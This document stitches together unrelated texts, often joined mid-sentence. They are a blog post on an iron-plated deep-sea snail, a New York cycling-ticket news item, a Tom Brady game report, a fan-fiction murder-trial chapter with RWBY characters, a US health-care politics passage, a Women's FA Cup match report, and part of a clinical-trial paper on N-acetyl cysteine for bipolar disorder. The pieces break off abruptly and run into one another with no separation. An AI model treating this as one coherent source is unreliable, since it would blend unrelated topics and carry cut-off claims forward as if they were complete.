Among snails, i.e. gastropods, the shape and ornamentation of the shell can vary dramatically. On one end of the spectrum, species of Murex possess long slender spines that serve as “resplendent armor” against predators who might swallow them whole. The shell can be more than just armor to prevent snails from turning into dinner. Spectacular spines and ribs are common among gastropods and while Lord Katsuhige maybe unappreciative of the showy, the shell is a barrier against the outside world and in turn reflects the constraints the environment imposes on it. While some snail shells are globular and smooth to reduce drag, preventing crashing waves from dislodging them from a rock, others are heavily ribbed and racheted to aid in burrowing.
The shell is secreted originally as a liquid by the mantle, a thin skin-like organ that lines the shell. Epithelial cells in the mantle secrete proteins, called conchiolin, and polysaccharides that form a special matrix that provide the perfect environment for crystals of aragonite, a type of calcium carbonate, to form. The mantle is also responsible for secreting the ions necessary to build aragonite.
In 2003, a rather unique gastropod was described from a hydrothermal vent in the Indian Ocean. What caught scientists attention was not the shell, a rather plain marginally ribbed shell that would have pleased Katsuhige, but a series of armor plates covering the soft parts we often refer to as the foot. Each of these scales, 1/3 an inch long, posses a core of pedal tissue lined with a mineralized layer of conchiolin embedded with iron sulfide granules, the stuff of fools’s gold. This is the only known animal to use iron sulfide as skeletal material. This is one of the reasons why it was #4 in our top 27 deep sea species.
Seven years later, Yao and colleagues suggest we were taken by the “showy” scales and should take a closer look at the shell. Much like the scales, the snail Cyrsomallon squamiferum (cyrso-gold, mallon-rather than, squami-scales, ferum-iron, “Not quite gold, iron-scaled” snail, my personal preference is for either the iron-clad snail or the fool’s gold snail) incorporates iron sulfide into the outer layer of the shell. The middle layer was found to be a quite thickened organic layer similar to the outer protein covering, the periostracum, of some other snails. Like other snails the inner layer is composed of aragonite. This three layer structure is unique among snails and unknown in any natural made armor. Yao and colleagues taking cross sections of the shells and using nano-scale testing methods (fancy!), were able to gather data that let them build a computerized model of the shell. In virtual reality, the researchers then “poked the shell with a big stick”. The iron-clad snail’s shell is resistant to a penetrating attack by either a predator or miniature samurai. Each of the tri-layers is responsible for “a distinct and multifunctional role in mechanical protection”. The figure below from the paper highlights the roles for each layer. Of course, the authors suggest that the findings may inspire developments in civilian and defense applications.
Also catch Ed Yong’s dated and slightly inferior post from three days ago. ;-) and KZ’s post on another hydrothermal vent snail that although not iron-clad has more hair than Robin Williams.
Yao, H., Dao, M., Imholt, T., Huang, J., Wheeler, K., Bonilla, A., Suresh, S., & Ortiz, C. (2010). Protection mechanisms of the iron-plated armor of a deep-sea hydrothermal vent gastropod Proceedings of the National Academy of Sciences, 107 (3), 987-992 DOI: 10.1073/pnas.0912988107If you’re a cyclist who happens to pedal across the Williamsburg Bridge to Manhattan, you’ll want to proceed with caution. The NYPD has started ticketing cyclists once they arrive in the city for a minor—and common—infraction. Bill Bratton’s New York, right?
According to the Brooklyn Daily Eagle, tickets are being handed out to cyclists who “continue westward along Delancey Street” when they’re only allowed to go north or south. The action goes against traffic patterns without actually going against traffic. As a spokesperson from biking advocacy group, Time’s Up, points out, “These bicyclists didn’t go through a light, didn’t go against traffic, didn’t do anything illegal—they just proceeded in a direction that the city’s new design doesn’t ‘allow’ for” and that at its heart the Manhattan-side of the bridge has “a design flaw with the entrance/exit to the street.” The group has submitted proposals for addressing that flaw, but their calls have gone unheard, so cyclists continue to face fines.
While we don’t know exactly how much the offenders must pay in ticket fines, a 2013 Daily News story estimates that bicycling fines can range anywhere in price from $25 to $190 depending on the seriousness of the charge.
Follow Nikita Richardson on Twitter @nikitarbkFOXBORO, Mass. — Tom Brady proved Thursday night that you can teach an old quarterback new tricks in what wound up being the New England Patriots’ game-clinching play.
Brady scrambled to his left, which helped extend a third-and-19 play in the fourth quarter, allowing Danny Amendola to break off his route and get open in the end zone for a touchdown. The score gave the Patriots an eight-point lead over the New York Jets, who managed only one more touchdown and a failed extra-point try as New England won 27-25.
Brady, who ran a 5.28-second 40-yard dash coming out of Michigan in 2000 and likely has only gotten slower over the past 14 years, is trying to follow the trends and become a more mobile quarterback.
“That’s never really been something I’ve been great at is extending plays,” Brady said Wednesday at Gillette Stadium. “I see so many of these players, whether it’s Russell Wilson, Aaron Rodgers, Jay Cutler does it, Alex Smith does it — some really mobile quarterbacks do a great job for their team. Ben Roethlisberger has done it for a number of years. I’m just trying to understand how I can help my team more, and if I can make some more of those plays, I think it would really help our team.
“I don’t think, instinctually, it’s there yet, but I’ll keep working on it. It’s good to see when they happen, they end up being big plays — big momentum plays.”
Brady always has been strong on quarterback sneaks, but any time he tucks the ball and tries to run on a planned pass, he winds up looking like a wounded deer trying to escape oncoming traffic. Brady said part of his hesitancy to run with the ball is in his head.
“I joke all the time, I say ‘I don’t have one cell in my body that ever tells me to run,’ ” he said. “I think I just sit there and kinda go, ‘Wow, I have more time to throw than usual.’ As opposed to, I see some other players when their initial read’s not open, then — bam — they’re on the move. They do a great job of that.
“I think there’s a balance for both of those. I think being in the pocket certainly has served me well, but there’s times when I can definitely help our team more by extending plays and trying to make the defense cover for a longer period of time than they normally cover. I’ll keep working on that.”
Photo via |
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Whether you are a regular, or this is the only piece you've read, thank you for accompanying me on this journey.
Chapter 2.5 - Blame It On Despair
The elevator whirred and clinked, before opening its door. The class of eleven students walked out of it, and into the very familiar Trial Room. They all had bad memories of that place, but by the end of the day they would have made new ones, and just as horrifying as the others. There would be no peace in the courtroom.
Quietly, and with a fair amount of resignation, they occupied the stands assigned to each of them, noting how much emptier it felt now that there were 3 less students than when the first trial had begun.
No one paid any mind to Monokuma when he ceremoniously entered the arena. It was time for the truth, and they knew it.
CLASS TRIAL IS NOW IN SESSION
Monokuma: "Welcome to the Class Trial for Miss Yang Xiao Long."
Monokuma: "Let's start with an explanation of how the Class Trial works. You will be given time to discuss the evidence you all gathered, and at the end you will have to vote for who the murderer is. If you vote correctly, I'll execute the culprit, but if you're wrong I'll kill everyone except the culprit. So pick carefully, kiddos!"
Sun: "Did you really have to repeat that?"
Ruby: "So... Where do we start?"
Pyrrha: "You don't have to do this, Ruby."
Ruby: "Yes, I do. I need to do it for Yang." She began to choke on her own words, so Jaune took over.
Jaune: "We should start by determining cause of death."
Weiss: "No, we should start by determining why she is still alive!"
Jaune: "Huh?"
Blake: "I assume you mean me."
Sun: "Not this again!"
Ren: "She does have a point. Blake and Yang were both handcuffed when the murder happened..."
Nora: "That's right, you two refused to be freed like the rest of us!"
Monokuma: "Wait, wait, wait, hold on a second! You got free from the cuffs?"
Emerald: "Yeah, Sun lockpicked them..."
Velvet: "You didn't notice?"
Monokuma: "No! I was busy, I thought I could leave you kiddos to behave for a couple hours!"
Weiss: "Moving on..."
Monokuma: "Hey, don't ignore me!"
Blake: "We didn't break any of he rules, so you can't do a thing." Monokuma kept grumbling in the background, but no one paid him any mind.
Neo: "Where were we?"
Ren: "Blake was going to explain why she wasn't with Yang at the time of death."
Jaune: "But don't you already know?"
Ren: "I do, but everyone else doesn't. We need to hear them say it."
Emerald: "Them?"
Sun: "That'd be me. I unlocked their handcuffs." He lifted his hand like a student asking for the teacher's attention in class.
Ruby: "But didn't Yang say..."
Velvet: "She did insist it was unsafe to disobey Monokuma."
Monokuma: "Damn right it is! Finally, someone with some sense!"
Blake: "Yang asked Sun if it was possible to unlock the cuffs, and then put them back on."
Neo: "Why?"
Jaune: "She wanted to train, right? Her duffle bag was there in the classroom."
Blake: "Being chained to each other made it hard for her to move around, and I could tell she didn't want to bother me. I was actually the one who suggested it."
Ren: "You could have freedom to move around, and afterwards go back to the shackles to avoid Monokuma's wrath."
Blake: "Exactly."
Pyrrha: "But wouldn't that mean only the two of you knew about it?"
Weiss: "Thank you! At last, someone intelligent here."
Jaune: "What are you trying to say, that one of them committed the murder?"
Sun: "Hey, Blake couldn't have done it! She was unconscious the whole night."
Emerald: "Wait, say that again?"
Neo: "We found her knocked out in the library."
Velvet: "So that's why she didn't show up at the crime scene."
Weiss: "And we're supposed to believe that because..." As much as he wanted to disagree with her accusations, her argument was pertinent. They were believing nothing butBlake's word on it.
Blake: "The Schnee is right, I don't have an alibi. No one can corroborate my story except the killer."
Jaune: "What about chloro-stuff?"
Nora: "The what?"
Neo: "It's a chemical that makes you unconscious when you breathe in its vapors." She used the notepad page she had used when explaining it to Jaune.
Pyrrha: "Chloroform? I don't think you'd find any in a school..."
Emerald: "Hmm, so that's why you two were so interested in the infirmary."
Ren: "Yes, if there's a chemical like that in here, the infirmary would be the place to find it."
Weiss: "Wait, hold on a minute! What are you talking about?"
Ruby: "The infirmary was locked when we found it."
Jaune: "Well, it's not anymore."
Weiss: "And why didn't we know about this?"
Emerald: "We just found out today during the investigation. Jaune was the one who suggested we look."
Jaune: "We found pieces of a small bottle in the classroom. It looked a lot like some sort of medicine."
Velvet: "So only the killer knew about the door being unlocked? Do you think they were the ones who unlocked it?"
Ren: "Breaking a door would be against the rules."
Sun: "Then who did?"
Neo: "Obviously, Monokuma"
Monokuma: "Oh ho, busted! You're right, I opened it after the last trial. Thought it would make things more interesting."
Blake: "And no one thought to check because it wasn't on the second floor."
Pyrrha: "Then how did the killer find out about it?"
Blake: "I don't think that's important right now. Only that they knew, and were the only ones to do so."
Ruby: "So there was chloroform in the infirmary?"
Ren: "No."
Jaune: "I mean... We didn't find it there, doesn't mean there wasn't some before.
Sun: "So the killer took it and used it to knock out Blake."
Weiss: "That's circumstancial at best."
Blake: "Hate to agree, but she has a point."
Sun: "What are you saying, Blake? This clears you of suspicion!"
Emerald: "He really doesn't get it, does he?"
Sun: "Get what?"
Weiss: "If she didn't do it, it had to be you."
Sun: "WHAT? Why?"
Pyrrha: "You two were the only ones who knew that Yang and Blake were separated."
Nora: "Which means you had opportunity! You screwed up, monkey boy."
Sun: "Is everyone against me?" Doesn't feel good, does it?
Jaune: "Let's not make hasty accusations, just like last time. We still haven't determined the cause of death."
Neo: "Do we have to? It was pretty clearly impaling."
Blake: "Actually, no it wasn't."
Ren: "It was asphyxia, right?"
Emerald: "She died from suffocating?"
Pyrrha: "Are you sure?"
Jaune: "We did find marks on her neck..."
Ren: "And it was covered by her scarf, so it most certainly had something to do with the case."
Sun: "So... What? The killer strangled Yang and then hid the marks with the scarf?"
Weiss: "Are you okay, Ruby?"
The sniper didn't answer, her eyes closed like she was holding back tears. She waved for them to continue. As much as they wanted, they couldn't leave the stands to console her. The trial had to go on regardless of the pain it caused.
Emerald: "I still don't buy that she was strangled. I mean, did you see the freaking pole coming out of her stomach? It was coming out of the other side!"
Blake: "Yes, and it's technically possible to survive that as long as it doesn't hit anything vital, which was the case."
Velvet: "Wouldn't she just bleed out?"
Blake: "Yes, but she wouldn't die instantly. She would've had time to scream for help, and the killer probably didn't want that."
Emerald: "Fuck..."
Sun: "Hey, but didn't the Monokuma File say she was impaled?"
Nora: "The Mono... Oh, right, yes, that's a thing we have." She grabbed the Scroll from her pocket and quickly tapped its buttons.
Jaune: "It said she had been impaled..."
Blake: "But not that it was the cause of death. In fact, that detail seems to be suspiciously missing from the file altogether."
Monokuma: "Are you accusing me of something, Miss Belladonna?"
Blake: "Yes." Her remark was blunt and devoid of emotion.
Monokuma: "How dare you? I'll have you know that I'm a stalwart and trustwort..."
Emerald: "Okay, so the bear totally lied to us, what else?"
Monokuma: "Hey, I'm right here!"
Sun: "If he hid a piece of information, it must be important, right? I mean, why else would he to do it? He's trting to mess with us."
Blake: "Exactly my point."
Weiss: "So, assuming we take your word for it, what was the murder weapon?"
Blake: "That... I don't know. It clearly wasn't done by hand, and it didn't quite look like normal rope burns."
Sun: "So, what did it look like?"
Ren: "Something thicker than a rope, also maybe less cohesive."
Neo: "A bed sheet, maybe?"
Jaune: "Oh, no..."
Velvet: "What?"
Jaune: "I think I know what it is..."
Weiss: "Well, spill it out!"
Jaune: "It was a bath towel... My bath towel."
Nora: "Your... Dammit, Jaune, did you kill someone again?"
Jaune: "No! And I didn't do it the first time either, we already settled that!"
Blake: "Wait, but why do you think your towel was used in the murder?"
Jaune: "Because I found it there, in the classroom..."
Ren: "Are you sure? I didn't see anything."
Blake: "Neither did I."
Jaune: "I... maybe have hid it..."
Weiss: "YOU DID WHAT?"
Neo: "Did he just admit to tampering with evidence?"
Sun: "Oh man, that doesn't look good for you."
Jaune: "I didn't kill her! And the towel was in the duffle bag, it's not my fault none of you investigated it!"
Weiss: "And are we just supposed to take your word for it?"
Pyrrha: "No, you can take mine as well. I can vouch for Jaune."
Weiss: "Based on what?"
Pyrrha: "He was with me at the time of the murder. The Monokuma file says it happened just after 10 pm, right? We were at the pool during that time."
Jaune: "That's right, we even heard the announcement!"
Pyrrha: "See? He's innocent." He beamed at smile at his savior and she smiled back.
Weiss: "Hmph."
Blake: "That does give him an alibi, which is more than the rest of us can say."
Emerald: "I say we still axe him for trying to screw up thr investigation."
Jaune: "What? No! That's against the rules, right Monokuma?"
Monokuma: "You underestimate how bored I am, Pool Noodle. It could be arranged..."
Ruby: "Can you guys please focus?" She barely spoke up, but it was enough for the class to hear.
Velvet: "So... Where are we now?"
Neo: "Jaune's Towel was used as the murder weapon."
Emerald: "But wasn't Yang tied up and all? Why would you use a towel when you have rope with you?"
Pyrrha: "Maybe she was already tied up before the killer came in?"
Ren: "No, there were clear signs of struggle."
Jaune: "Ren's right, the classroom was smashed to bits, there must've been a fight."
Nora: "A fight against |
come by. Republican Sen. John McCain, who was once known for his occasional willingness to cross party lines, warned Monday that Obama should expect no GOP cooperation for the rest of the year. McCain said Democrats had "poisoned the well" with their handling of health care legislation.
"I want to make it very clear: The people I represent in the state of Arizona are not going to sit still for this," he said. "They're going to want this repealed. We will challenge this in the courts. We will challenge this in the towns. We will challenge this in the cities. We will challenge this in the farms. We will challenge this all over America, and the will of the people will be heard."
White House spokesman Robert Gibbs argued that lack of bipartisanship is nothing new.
"People have said today, 'Well, we're not going to work with the other side for the rest of the year.' Well, I don't think that's a real change in their schedule," he said.
Axelrod struck a more conciliatory tone, saying he has "great respect" for McCain and that he hopes the Arizona lawmaker will change his mind about working with Democrats.
"I'd like to think there are Republicans — and I know that there are — who understand that we are joint custodians of the future, and we ought to be working together to solve problems," Axelrod said.
What The Future Holds
Financial reform is one area where bipartisan cooperation still seems possible. Neither party wants to look soft on Wall Street. And while months of negotiation in the Senate Banking Committee failed to produce a compromise, the Democratic and Republican leaders of that committee are still talking. Axelrod is optimistic.
"I think that there's momentum behind financial reform because we've had an economic crisis that was brought about by the misbehavior of some of the financial players," Axelrod said. "So everyone agrees — at least I think the vast majority of Americans believe — that we need rules of the road, and they need to be enforced."
Obama said Tuesday that successful passage of the health care bill provides "new confidence [that] it's still possible to do big things in America." Congressional Democrats can no longer do big things without at least some Republican support, though. And as they nervously eye the November elections, Democrats may have little appetite for other bruising battles.Arsenal Ladies came from a goal behind to reach the semi-finals of the Women’s FA Cup against Birmingham City.
The Gunners fell behind after half an hour to a header from Remi Allen, but goals from Kelly Smith and Fredi Ayisi sealed the turnaround.
Shelley Kerr’s side had been knocked out of the Champions League by the Blues earlier in the season and were in the mood for revenge from the off, Ayisi firing wide from 25 yards early on.
Birmingham grew into the game however and took the lead on 30 minutes when Allen met Kirsty Linnett’s cross to head Birmingham into the lead from six yards.
Casey Stoney tried her luck immediately after the restart for the Gunners, but saw her tame header easily held by Blues’ Rebecca Spencer.
Six minutes before the break, the Gunners were awarded a penalty for handball against City’s Jade Moore.
Smith stepped up to score the penalty, sending Spencer the wrong way.
Nine minutes after half-time, the victory and a safe passage into the semi-finals was secured.
Danielle Carter’s inch-perfect through-ball split the Blues defence and found Ayisi, who slotted home.Associated Data Supplementary Materials Additional file 1 Timetable for assessments during the open label and maintenance phases of the trial. This table provides an outline of the trial schedule and timing of rating scale and associated trial interview delivery. 1741-7015-10-91-S1.DOCX (19K) GUID: 40FFBD0E-D35F-4AAB-8402-57D1614D0F02
Abstract Background N-acetyl cysteine (NAC) is a glutathione precursor that has been shown to have antidepressant efficacy in a placebo-controlled trial. The current study aimed to investigate the maintenance effects of NAC following eight weeks of open-label treatment for bipolar disorder. Method The efficacy of a double blind randomized placebo controlled trial of 2 g/day NAC as adjunct maintenance treatment for bipolar disorder was examined. Participants (n = 149) had a Montgomery Asberg Depression Rating Score of ≥12 at trial entry and, after eight weeks of open-label NAC treatment, were randomized to adjunctive NAC or placebo, in addition to treatment as usual. Participants (primarily outpatients) were recruited through public and private services and through newspaper advertisements. Time to intervention for a mood episode was the primary endpoint of the study, and changes in mood symptoms, functionality and quality of life measures were secondary outcomes. Results There was a substantial decrease in symptoms during the eight-week open-label NAC treatment phase. During the subsequent double-blind phase, there was minimal further change in outcome measures with scores remaining low. Consequently, from this low plateau, between-group differences did not emerge on recurrence, clinical functioning or quality of life measures. Conclusions There were no significant between-group differences in recurrence or symptomatic outcomes during the maintenance phase of the trial; however, these findings may be confounded by limitations. Trial Registration The trial was registered with the Australian New Zealand Clinical Trials Registry (ACTRN12607000074493). Keywords: N-acetyl cysteine, depression, bipolar disorder, maintenance, mania, oxidative
Background Bipolar disorder is a recurrent illness with the vast majority of individuals experiencing relapses throughout their lives. The prevention of further episodes is of critical importance to individuals with the disorder, as recurrent episodes can result in hospitalization, suicide and loss of functionality. There appears to be an active process of neuroprogression associated with acute episodes of illness [1]. Maintenance of well-being is, therefore, of paramount importance [2]. Existing agents are imperfect, as many have limitations in terms of either efficacy or tolerability for long-term treatment. Lithium is the mainstay of prophylaxis in bipolar disorder although it is more effective in preventing manic relapses than depression [3] though recent data suggest that it is more effective in relapse prevention than valproate [4]. Interestingly, lithium is more effective in preventing manic relapses as opposed to depression whereas lamotrigine is more effective in the prevention of depressive episodes [3]. Atypical antipsychotics also appear to have maintenance properties, although all except quetiapine are less effective in depression than mania. Given the limitations of these agents, polypharmacy is the routine rather than the exception [5] and most have significant tolerability issues that require routine safety monitoring [6]. In this context there are preliminary data from preclinical studies that N-acetyl cysteine (NAC) might prevent lithium-induced renal dysfunction in animal models. This makes it an attractive adjunct therapy both because of its potential clinical benefits and the reduction of iatrogenic adverse effects [7]. This is particularly interesting because it is consistent with evidence of dysregulated redox biology in bipolar disorder. Data supporting this comes from five main areas; i) evidence of dysregulated oxidative defenses, ii) effects of oxidative stress on cellular constituents (particularly lipids, proteins and nuclear and mitochondrial DNA), iii) concordant structural evidence of neuroprogressive processes, iv) studies showing that established bipolar disorder treatments have significant influences on oxidative processes, and v) association studies of polymorphisms of key genes in the glutathione pathway [8]. In particular, glutathione, which is the principal endogenous antioxidant in the brain, is vulnerable to depletion, and is substantially reduced in bipolar disorder [9]. NAC provides L-cysteine, the rate limiting factor in glutathione synthesis, and thereby increases central and peripheral glutathione [10]. Additionally, NAC modulates glutamate, has anti-inflammatory properties and enhances neurogenesis and mitochondrial function [11]. Given this context, the aim of this study was to investigate the efficacy of adjunctive NAC, in addition to treatment as usual, in the maintenance treatment of bipolar depression in a double-blind randomized multi-center placebo-controlled trial. Time to intervention for a mood episode was the primary outcome measure. Secondary outcome measures included changes in mood symptoms, functioning and quality of life (QoL). It was hypothesized that NAC would reduce the recurrence of episodes in the maintenance phase of the disorder.
Methods This maintenance study included participants screened for the presence of depression at trial entry (beginning of the open-label phase) [12]. All participants received 2 grams of NAC (1 gram twice daily) for eight weeks and were subsequently randomized to continued NAC treatment or placebo in a double blind design for a further 24 weeks. The assessment schedule is shown in Additional File 1. In addition to the clinical interviews, some participants provided blood samples for peripheral analysis of oxidative stress markers and a sub-group was involved in a magnetic resonance spectroscopy study (data presented elsewhere). In order to reduce enrichment bias, response to NAC in the open label phase was not an inclusion criterion, and all participants proceeded to the randomized phase (week 8 to week 32). Methodological details and data from the open-label phase of the study are presented elsewhere [13]. All participants remained on treatment as usual for the duration of the trial. This included any pharmacological or psychological intervention (stable for at least one month as per the inclusion criteria). In order to capture the diversity of treatment settings and enhance generalizability, potential participants were recruited through a variety of avenues, including the participants' case clinicians, newspaper advertisement, flyers in public areas (including flyers placed at shopping centers and pathology collection centers) and web-based advertisements on bipolar disorder-relevant websites, as well as referral from private clinicians including family physicians and specialists. The trial was approved by relevant research and ethics committees (Barwon Health, Bendigo Health and the University of Melbourne, in Victoria, Australia; Royal North Shore Hospital, Sydney, Australia, and Porto Allegre, Brazil) and was conducted in accordance with the Helsinki Declaration as revised in 1989. A preliminary interview was conducted with potential participants to obtain written informed consent and assess inclusion and exclusion criteria, following which the trial proper commenced. Individuals who had given written consent were assigned, using computer-generated block randomization (in blocks of four) [14], to treatment with NAC or placebo in addition to treatment as usual, in a double-blind fashion. The nature and dose of the primary therapy was monitored. The person generating the randomization schedule was not involved in any aspect of participant interview or data analysis. The investigators, clinicians and statisticians were blind to treatment allocation. The study was registered with the Australian and New Zealand Clinical Trials Registry (registration # 12607000074493). The trial was completed between 2007 and 2010. NAC was acquired from Zambon Fine Chemicals, Bresso, Italy. Purity was 99.8% as determined by high performance liquid chromatography. Encapsulation of both the NAC and the identical placebo capsules was done by DFC Thompson, Sydney, Australia. Study medication was sealed in identical bottles, labeled as trial medication, and both dispensed and returned by the pharmacy, so that the investigators were not exposed to the contents of the bottles. It is important to note that NAC has a characteristic odor and so to reduce the risk of unblinding on transition to the double blind phase, placebo capsules were dusted with microgram amounts of NAC to capture the distinct odor. Participants additionally were seen separately, minimizing the opportunity to compare experiences. Inclusion and Exclusion Criteria To be eligible for the trial, participants were required to meet DSM-IV criteria for bipolar I-, bipolar II- or bipolar NOS-disorder, to have current symptoms of depression, with a Montgomery Asberg Depression Rating Scale (MADRS) score of ≥12 at entry into the study, have the capacity to consent to the study and comply with study procedures, be using effective contraception if female, sexually active and of childbearing age and have been on stable therapy for at least four weeks prior to randomization. Participants were not, however, required to be taking medication at the time of recruitment. Exclusion criteria included individuals with a known or suspected clinically relevant acute systemic medical disorder, elderly people with respiratory insufficiency, women who were pregnant or lactating, participants taking more than 500 mg of NAC/day, 200 ug of selenium/day or 500 IU of Vitamin E/day, or who have had an anaphylactic reaction to NAC, or any component of the preparation, or who were assessed as being unable to comply with either the requirements of informed consent or the treatment protocol. Withdrawal criteria included individuals who ceased taking their trial medication for seven consecutive days or who ceased effective contraception or became pregnant. Dose changes to existing medications (either increases or decreases in dose), or addition or removal of an agent were noted and participants were allowed to continue with the trial. Additionally, participants were withdrawn from the study if they withdrew consent, or developed adverse events that were deemed to require withdrawal from the study. Measurements The participants were assessed at the commencement of the open-label phase using the Mini International Neuropsychiatric Interview Plus (MINI-Plus) [15]. Time to any intervention for mood symptoms was the primary outcome measure of the study. The specified interventions included initiation of a new medication, psychotherapy, hospitalization or electroconvulsive therapy, initiation of emergency/unscheduled medical contacts for mood symptoms or discontinuation or dose adjustment of a current agent. To be considered an 'event', participants had to experience one of the interventions directly in relation to the presence of a new mood episode. Meeting time to intervention criteria was not in itself a reason for trial discontinuation, and such individuals, who consented, continued to be monitored, although only the first such event was used for analysis of the primary outcome. Change in the clinical status of the participants was further assessed using the MADRS [16], Bipolar Depression Rating Scale (BDRS) [17], Young Mania Rating Scale (YMRS) [18], Clinical Global Impression (CGI) improvement and severity scales [19], CGI modified for substance use [20] and bipolar disorder (CGI BP) [21], Patient Global Impression (PGI) [22], Global Assessment of Functioning Scale (GAF) [23], Social and Occupational Functioning Assessment Scale (SOFAS) [24], Streamed Longitudinal Interview Clinical Evaluation from the Longitudinal Interview Follow-up Evaluation (SLICE/LIFE) [25] and Range of Impaired Functioning Tool (LIFE RIFT) [26], and the Quality of Life Enjoyment and Satisfaction Questionnaire (Q-LES-Q) [27]. Adherence was monitored by an independent pharmacist, using pill counts of returned clinical trial material. Rating scales were repeated every two weeks for the first four weeks, thereafter monthly or on the day of study termination if the participant withdrew prior to the final scheduled visit [see Additional File 1]. Adverse events were tabulated. Statistical analysis The last visit of the open-label phase (week 8) served as the baseline for the maintenance phase of the trial and the endpoint corresponded to the assessment at week 32. All randomized participants who had at least one post-baseline assessment were included in the analysis. Analysis was performed by a consultant statistician, who was blind to treatment assignment, using IBM® SPSS® Statistics Version 19 on a cleaned and locked database. All analyses were conducted in accordance with the International Conference on Harmonization E9 statistical principles (International Conference on Harmonization, [10]. Assuming a correlation of post-treatment scores with baseline measurements of 0.7 and an effect of the dosage such that experimental (usual treatment and NAC) group differs from controls (usual treatment and placebo) by 0.75 standard deviations, power was maintained above 90% with 75 subjects in each group. Differences in the two groups in baseline demographic and clinical characteristics (week eight at randomization) were examined using independent samples t-tests and chi-square analysis (χ2). These inferential statistics were also used to compare participants who were included/excluded from the maintenance phase of the trial and who completed/discontinued the intervention. Fisher's exact test was used to determine differences between the two groups with respect to the frequency of interventions for mood episodes. Kaplan Meier estimates and the Mantel-Cox log-rank test (χ2) were used to evaluate differences in time to intervention for a mood episode between the NAC and placebo groups (primary outcome). Time to depressive episode was also analyzed using these techniques (secondary outcome). The analyses of continuous secondary outcome measures involved the use of a likelihood based mixed-effects model repeated measures approach (MMRM). The MMRM model included the fixed, categorical effects of group, visit, and group-by-visit interaction. The MMRM includes all available data at each time point [28] and is the favored approach for analysis of data from clinical trials in psychiatry [29]. The Toeplitiz covariance structure was used to model the relations between observations on different occasions. Planned comparisons using MMRM were conducted to examine group differences in mean change on the outcome measures from baseline (week 8) to endpoint (week 32). All tests of treatment effects were conducted using a two-sided alpha level of 0.05.
Results Sample characteristics One hundred and forty nine individuals meeting DSM-IV-TR criteria for bipolar disorder on a structured clinical interview (MINI-plus) were included in the analysis (see Figure ). The majority of participants were women, with an average age of 45.8 years (SD = 11.4). Most had bipolar I disorder and the mean duration of time since diagnosis was 10.0 years (SD= 9.4). Prior suicidality was prevalent in the cohort, and tobacco and alcohol use was also common, but use of other substances of abuse was infrequent. Open in a separate window Baseline characteristics The two treatment groups were similar on most demographic (see Table ), clinical and functioning measures (see Table ) with the exception that there were significantly more women in the NAC group compared to placebo, χ2 (1) = 8.85, P = 0.003. Detailed descriptions of the baseline characteristics and the symptom changes in the open-label phase have been previously published [30]. Table 1 Characteristics Descriptive statistic Total sample
n = 149 NAC
n = 76 Placebo
n = 73 Test statistic Value df P Age M(SD) 45.8 (11.4) 47.1 (10.9) 44.4 (11.8) t-test 1.46 147.146 Gender %Female % (n) 67.8 (101) 78.9 (60) 56.2 (41) χ2 8.85 1.003 Diagnosisa Bipolar I disorder % (n) 69.6 (103) 73.7 (56) 65.3 (47) χ2 1.24 1.266 Bipolar II disorder % (n) 29.7 (44) 25.0 (19) 34.7 (25) Bipolar NOS % (n) 1 (0.7) 1.3 (1) 0.0 (0) Suicidality %Yes % (n) 70.9 (105) 69.7 (53) 72.2. (52) χ2 0.11 1.739 Age of first symptoms M(SD) 22.0 (10.6) 22.2 (11.8) 21.9 (9.2) t-test 0.17 138.867 Age of diagnosis M(SD) 35.9 (11.6) 37.4 (12.0) 34.4 (11.2) t-test 1.58 141.115 Duration of illness since diagnosis (years)b M(SD) 10.0 (9.4) 9.6 (9.3) 10.5 (9.6) t-test -0.74 141.462 Mdn 7.0 6.0 7.5 Number of psychiatric hospitalisationsc M(SD) 3.0 (4.4) 3.2 (5.3) 2.8 (3.3) t-test -0.31 141.759 Mdn 1.0 2.0 1.0 Number of manic episodes >10 % (n) 53.5 (76) 54.8 (40) 52.2 (36) χ2 0.10 1.754 Number of depressive episodes >10 % (n) 78.3 (112) 80.8 (59) 75.7 (53) χ2 0.55 1.459 Smoker %Yes b % (n) 37.1 (49) 30.8 (20) 43.3 (29) χ2 2.21 1.137 Alcohol use %Yes b % (n) 47.0 (62) 47.7 (31) 46.3 (31) χ2 0.03 1.870 Alcohol dependence/abuse b % (n) 14.2 (21) 14.5 (11) 13.9 (10) χ2 0.01 1.919 Substance use %Yes b % (n) 3.0 (4) 4.6 (3) 1.5 (1) χ2 1.10 1.295 Substance dependence/abuse b % (n) 14.3 (21) 13.3 (10) 15.3 (11) χ2 0.11 1.736 Open in a separate window Table 2 Characteristics Descriptive statistic Total sample
n = 149 NAC
n = 76 Placebo
n = 7 3 Test statistic Value df P Symptoms YMRSa M(SD) 1.5 (2.1) 1.7 (2.4) 1.4 (1.9) t-test 0.37 130.716 MADRSb M(SD) 12.6 (9.8) 13.1 (9.72) 12.2 (9.9) t-test 0.47 130.638 BDRSa M(SD) 10.7 (9.1) 11.3 (8.5) 10.1 (9.7) t-test 1.20 130.233 CGI-BP Severity Depressiona M(SD) 2.8 (1.2) 2.9 (1.2) 2.8 (1.2) t-test 0.49 129.625 Maniaa M(SD) 1.3 (0.7) 1.4 (0.7) 1.3 (0.6) t-test 0.17 129.620 Overalla M(SD) 2.9 (1.2) 2.9 (1.2) 2.8 (1.2) t-test 0.29 128.771 CGI-BP Improvement Depressiona M(SD) 2.5 (1.2) 2.5 (1.1) 2.6 (1.3) t-test -0.17 129.864 Maniaa M(SD) 3.8 (0.7) 3.8 (0.7) 3.9 (0.7) t-test -0.63 130.533 Overalla M(SD) 2.6 (1.2) 2.6 (1.2) 2.7 (1.3) t-test -0.30 129.767 Functioning GAF M(SD) 72.2 (13.7) 71.1 (13.3) 73.3 (14.1) t-test -0.92 129.360 SOFAS M(SD) 72.1 (13.6) 71.5 (13.0) 72.6 (14.1) t-test -0.46 129.649 LIFE-RIFT M(SD) 11.2 (3.8) 11.5 (3.9) 10.9 (3.8) t-test 0.83 130.410 SLICE-LIFE M(SD) 16.5 (5.2) 16.6 (5.3) 16.5 (5.0) t-test 0.17 130.866 Q-LES-Q M(SD) 53.4 (10.8) 52.5 (10.6) 54.3 (11.0) t-test -0.98 130.325 Open in a separate window Participant flow Of the 149 participants randomized, 132 (88.6%) completed the open label phase of the study (see Figure ). There were 121 participants (NAC: 77.6%, n = 59 and placebo: 84.9%, n= 62) who had at least one follow-up assessment during the maintenance phase of the trial. Participants who did not have data in the maintenance phase of the trial were less likely to have a diagnosis of bipolar I disorder (included group 74.4% (n = 90) had bipolar I disorder versus excluded group 48.1% (n = 13) had bipolar I disorder), χ2 (1) = 7.18, P = 0.007. For the primary outcome measure, completers of the maintenance phase of the trial were delineated on the basis of either having an event and/or completing all 